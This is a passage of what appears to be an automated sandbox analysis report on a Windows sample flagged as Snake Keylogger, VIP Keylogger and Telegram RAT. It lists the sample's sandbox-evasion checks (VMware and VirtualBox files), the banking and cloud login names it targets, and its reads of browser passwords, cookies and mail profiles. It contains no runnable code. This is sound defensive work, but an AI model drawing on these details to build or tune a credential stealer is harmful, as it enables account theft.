Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe TID: 6884	Thread sleep time: -594406s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598952	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598389	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596358	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 595105	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594946	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594842	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Thread delayed: delay time: 594406	Jump to behavior

Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwaretrat
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxservice
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q#C:\windows\System32\vboxservice.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: MC8017774DOCS.exe, 00000004.00000002.3453102350.0000000003D38000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3453102350.0000000003D98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwareuser
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q&C:\windows\System32\Drivers\VBoxSF.sys
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q+C:\windows\System32\Drivers\VMToolsHook.dll
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q)C:\windows\System32\Drivers\VBoxGuest.sys
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'C:\windows\System32\Drivers\Vmmouse.sys
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxtrayOC:\windows\System32\Drivers\Vmmouse.sysMC:\windows\System32\Drivers\vm3dgl.dllMC:\windows\System32\Drivers\vmtray.dllWC:\windows\System32\Drivers\VMToolsHook.dllUC:\windows\System32\Drivers\vmmousever.dllSC:\windows\System32\Drivers\VBoxMouse.sysSC:\windows\System32\Drivers\VBoxGuest.sysMC:\windows\System32\Drivers\VBoxSF.sysSC:\windows\System32\Drivers\VBoxVideo.sysGC:\windows\System32\vboxservice.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q*C:\windows\System32\Drivers\vmmousever.dll
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmtoolsd
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q)C:\windows\System32\Drivers\VBoxMouse.sys
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000035045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	API call chain: ExitProcess graph end node			graph_0-4347
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	API call chain: ExitProcess graph end node			graph_0-4502

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_6E9B1B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E9B1B63

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Process created: C:\Users\user\Desktop\MC8017774DOCS.exe "C:\Users\user\Desktop\MC8017774DOCS.exe"

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

0_2_0040336C

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

